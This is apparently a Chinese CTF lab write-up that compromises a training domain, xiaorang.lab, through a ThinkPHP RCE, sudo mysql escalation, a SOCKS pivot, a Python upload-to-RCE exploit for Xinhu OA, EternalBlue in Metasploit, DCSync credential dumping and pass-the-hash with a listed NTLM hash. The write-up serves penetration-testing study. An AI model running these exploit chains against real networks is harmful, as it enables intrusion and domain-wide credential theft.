tp漏洞rce

上蚁剑
find / -user root -perm -4000 -print 2> result.txt

suid提权没有,尝试sudo
发现mysql命令
提权命令
https://www.huangmj.com/17116743651246.html#36-sudo-mysql
查看文件名带flag的文件
1
| sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'
|

读取
1
| sudo mysql -e '\! cat /root/flag/flag01.txt'
|
提示下一个在内网中,
vps起个服务,wget下个fscan扫一下



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| [2025-03-06 12:25:54] [INFO] 暴力破解线程数: 1 [2025-03-06 12:25:54] [INFO] 开始信息扫描 [2025-03-06 12:25:54] [INFO] CIDR范围: 172.22.1.0-172.22.1.255 [2025-03-06 12:25:54] [INFO] 生成IP范围: 172.22.1.0.%!d(string=172.22.1.255) - %!s(MISSING).%!d(MISSING) [2025-03-06 12:25:54] [INFO] 解析CIDR 172.22.1.15/24 -> IP范围 172.22.1.0-172.22.1.255 [2025-03-06 12:25:54] [INFO] 最终有效主机数量: 256 [2025-03-06 12:25:54] [INFO] 开始主机扫描 [2025-03-06 12:25:54] [INFO] 正在尝试无监听ICMP探测... [2025-03-06 12:25:54] [INFO] 当前用户权限不足,无法发送ICMP包 [2025-03-06 12:25:54] [INFO] 切换为PING方式探测... [2025-03-06 12:25:54] [SUCCESS] 目标 172.22.1.15 存活 (ICMP) [2025-03-06 12:25:54] [SUCCESS] 目标 172.22.1.18 存活 (ICMP) [2025-03-06 12:25:54] [SUCCESS] 目标 172.22.1.2 存活 (ICMP) [2025-03-06 12:25:54] [SUCCESS] 目标 172.22.1.21 存活 (ICMP) [2025-03-06 12:26:00] [INFO] 存活主机数量: 4 [2025-03-06 12:26:00] [INFO] 有效端口数量: 233 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.2:88 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.18:80 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.15:80 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.15:22 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.21:445 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.2:445 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.18:445 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.2:389 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.21:139 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.2:139 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.18:139 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.21:135 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.2:135 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.18:135 [2025-03-06 12:26:00] [SUCCESS] 端口开放 172.22.1.18:3306 [2025-03-06 12:26:01] [SUCCESS] 服务识别 172.22.1.15:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.] [2025-03-06 12:26:01] [SUCCESS] 服务识别 172.22.1.18:3306 => [mysql] 产品:MySQL 信息:unauthorized Banner:[D.j Host '172.22.1.15' is not allowed to connect to this MySQL server] [2025-03-06 12:26:05] [SUCCESS] 服务识别 172.22.1.2:88 => [2025-03-06 12:26:05] [SUCCESS] 服务识别 172.22.1.18:80 => [http] [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.21:445 => [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.2:445 => [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.18:445 => [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.2:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.21:139 => Banner:[.] [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.2:139 => Banner:[.] [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.15:80 => [http] [2025-03-06 12:26:06] [SUCCESS] 服务识别 172.22.1.18:139 => Banner:[.]
|
看到1.18的80端口开放,搭个socks代理
stowaway代理搭建
vps:
./linux_x64_admin –heartbeat -l 61032 -s aab32
在被控端(shell机器)启动:
./linux_x64_agent -c <VPS IP地址>:61032 -s aab32
建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
1 2 3
| use 0 # socks 端口 用户名 密码 socks 55667 username password
|
此时使用 socks5://username:password@<VPS IP>:55667
就可以代理到被控端的内网了。

kali配置好socks代理后,创建poc目录,脚本同目录放一个1.php
poc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests
session = requests.session()
url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = { 'rempass': '0', 'jmpass': 'false', 'device': '1625884034525', 'ltype': '0', 'adminuser': 'YWRtaW4=', 'adminpass': 'YWRtaW4xMjM=', 'yanzm': '' }
r = session.post(url1, data=data1) r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath']) filepath = "/" + filepath.split('.uptemp')[0] + '.php' id = r.json()['id'] print(id) print(filepath) url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3) r = session.get(url_pre + filepath + "?1=system('dir');") print(r.text)
|
然后运行
1
| proxychains4 python3 poc.py
|

打印出来的就马

上蚁剑,记得配置代理
管理员目录下找到flag

永恒之蓝
这边fscan高版本有点问题,换个低版本的

1 2 3
| 172.22.1.2 DC域控 172.22.1.21 MS17-010永恒之蓝 172.22.1.18 信呼OA系统
|
看到ms17-010
kali上msf
1 2 3 4 5
| proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21 exploit
|
DCSync
直接尝试访问本地用户目录没有找到flag,这边猜测需要域用户访问
1 2
| load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 拿到权限后可以用creds_all等命令收集内网凭据,而我们控制的这台机器是有DCSync的权限的(因为这个是DC1,也就是域控制器), 所以能直接从域控上导出Hash
DCSync攻击: DCSync的原理是利用域控制器之间的数据同步复制 DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限: Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户 即:默认情况下域管理员组具有该权限
这里我们用永恒之蓝打完本来就是system权限,然后我们load kiwi,抓取用户的hash
|
这里我们抓到了Administrator的hash,所以可以直接用crackmapexec打hash传递了,Administrator是域控的机器账户,就相当于域用户。
1
| proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
|
打pth

参考https://fushuling.com/index.php/2023/08/27/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7initial/